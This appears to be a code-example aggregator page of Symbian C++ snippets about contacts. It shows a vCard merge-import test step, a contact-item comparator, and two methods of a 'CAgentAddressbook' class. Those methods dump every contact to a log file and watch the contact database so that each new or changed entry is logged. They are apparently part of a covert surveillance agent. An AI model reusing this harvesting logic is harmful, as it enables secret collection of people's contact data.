Exemplo n.º 1
0
/** Add UID and REV properties to the input vCard files
 *  This helps in importing the vCards in Merge Mode
 *	@param aContactItem - existing contact item
 *	@param fsSession - File Session
 *  @param aSource - new file
 *	@param aDestination - File contains Uid of existing Contact item and field value from new file 
 *	@return - void
*/
void CTestImportContactMergeModeStep::AddUidRevPropertyL(const CContactItem& aContactItem, RFs& fsSession, const TDesC& aSource, const TDesC& aDestination)
    {
     CParserVCard* vCardParser=CParserVCard::NewL();
     CleanupStack::PushL(vCardParser);
     InternalizeFileL(*vCardParser,aSource,fsSession);

     CParserPropertyValueDateTime* valueDateTime = CreateDateTimePropertyL(aContactItem.LastModified(),TVersitDateTime::EIsMachineLocal);
     CleanupStack::PushL(valueDateTime);
     CParserProperty* property=CParserGroupedProperty::NewL(*valueDateTime,KVersitTokenREV,NULL,NULL);
     CleanupStack::Pop(valueDateTime);
     CleanupStack::PushL(property);
     vCardParser->AddPropertyL(property); //takes ownership
     CleanupStack::Pop(property);

     TInt64  machineUniqueId = dBase->MachineId();
     TPtrC guid=aContactItem.UidStringL(machineUniqueId);
     CParserPropertyValueHBufC* uidValue=CParserPropertyValueHBufC::NewL(guid);
     CleanupStack::PushL(uidValue);
     CParserProperty* uidproperty=CParserGroupedProperty::NewL(*uidValue,KVersitTokenUID,NULL,NULL);
     CleanupStack::Pop(uidValue);
     CleanupStack::PushL(uidproperty);
     vCardParser->AddPropertyL(uidproperty); //takes ownership
     CleanupStack::Pop(uidproperty);

     ExternaliseFileL(*vCardParser,aDestination, fsSession);
     CleanupStack::PopAndDestroy(vCardParser);
     }
TBool CPackagerCntComparator::Compare(const CContactItem& anItem1, const CContactItem& anItem2) const
/** Compares two CContactItem items. 

@param anItem1 The first CContactItem to be compared.
@param anItem2 The second CContactItem to be compared.
@return ETrue if the two items are equal, EFalse otherwise. */
	{
	return (DoCompareCContactItemType(anItem1, anItem2) 							&
		DoCompareCContactItemFieldSet(anItem1.CardFields(), anItem2.CardFields())	&
		DoCompareCContactItemAttribute(anItem1, anItem2)							&
		DoCompareTContactItemId(anItem1.Id(), anItem2.Id())							&
		DoCompareTContactItemId(anItem1.TemplateRefId(), anItem2.TemplateRefId())	&
		DoCompareTTime(anItem1.LastModified(), anItem2.LastModified())				&
		DoCompareTTime(anItem1.iCreationDate, anItem2.iCreationDate)				&
		DoCompareTInt(anItem1.AccessCount(), anItem2.AccessCount())					&
		DoCompareTPtrC(const_cast<CContactItem&>(anItem1).Guid(), const_cast<CContactItem&>(anItem2).Guid()));

	}
Exemplo n.º 3
0
void CAgentAddressbook::DoOneRoundL()
	{
	// If the Agent has been stopped, don't proceed on the next round...
	if (iStopLongTask)
		return;
	if (iContactIndex >= iContacts->Count())
		{
			if(iContactIndex == 0)
				return;
			// write markup, we have finished the initial dump
			// and we write the date of the most recent changed/added item
			RBuf8 buf(GetTTimeBufferL(iTimestamp));
			buf.CleanupClosePushL();
			if (buf.Length() > 0)
				{
				iMarkupFile->WriteMarkupL(Type(),buf);
				}
			CleanupStack::PopAndDestroy(&buf);
				
			return;
		}
	TContactItemId itemId = (*iContacts)[iContactIndex];

	// Maybe the item has been removed in the meanwhile...
	if (itemId != KNullContactId)
		{
		__FLOG_1(_L("Contact:%d"), iContactIndex);
		CContactItem* item = iContDb->ReadContactLC(itemId);
		RBuf8 buf(GetContactBufferL(*item));
		buf.CleanupClosePushL();
		if (buf.Length() > 0)
			{
			// dump the buffer to the file log. 
			AppendLogL(buf);
			// check the date against the last saved one and update if necessary
			TTime time = item->LastModified();
			if (iTimestamp < time){
				iTimestamp = time;
			} 
			}
		CleanupStack::PopAndDestroy(&buf);
		CleanupStack::PopAndDestroy(item);
		}
	iContactIndex++;

	iLongTask->NextRound();
	}
Exemplo n.º 4
0
/*
 * This is called when an event on contact db is detected 
 */
void CAgentAddressbook::HandleDatabaseEventL(TContactDbObserverEvent aEvent)
{
	switch (aEvent.iType)
	{
		// Look for other events into TContactDbObserverEventType def 
		case EContactDbObserverEventContactChanged:
		case EContactDbObserverEventContactAdded:
			{
				// retrieve contact and write to log
				CContactItem* item = iContDb->ReadContactLC(aEvent.iContactId);
				RBuf8 buf(GetContactBufferL(*item));
				buf.CleanupClosePushL();
				if (buf.Length() > 0)
				{
					// append the buffer
					CLogFile* logFile = CLogFile::NewLC(iFs);
					logFile->CreateLogL(LOGTYPE_ADDRESSBOOK);
					logFile->AppendLogL(buf);
					logFile->CloseLogL();
					CleanupStack::PopAndDestroy(logFile);
					if(iMarkupFile->ExistsMarkupL(Type())){
						// if a markup exists, a dump has been performed and this 
						// is the most recent change
						RBuf8 buffer(GetTTimeBufferL(item->LastModified()));
						buffer.CleanupClosePushL();
						if (buffer.Length() > 0)
						{
							iMarkupFile->WriteMarkupL(Type(),buffer);
						}
						CleanupStack::PopAndDestroy(&buffer);
					}					
				}
				CleanupStack::PopAndDestroy(&buf);
				CleanupStack::PopAndDestroy(item);
			}
			break;
		default:
			{
				// event ignored
			}
			break;
	}
}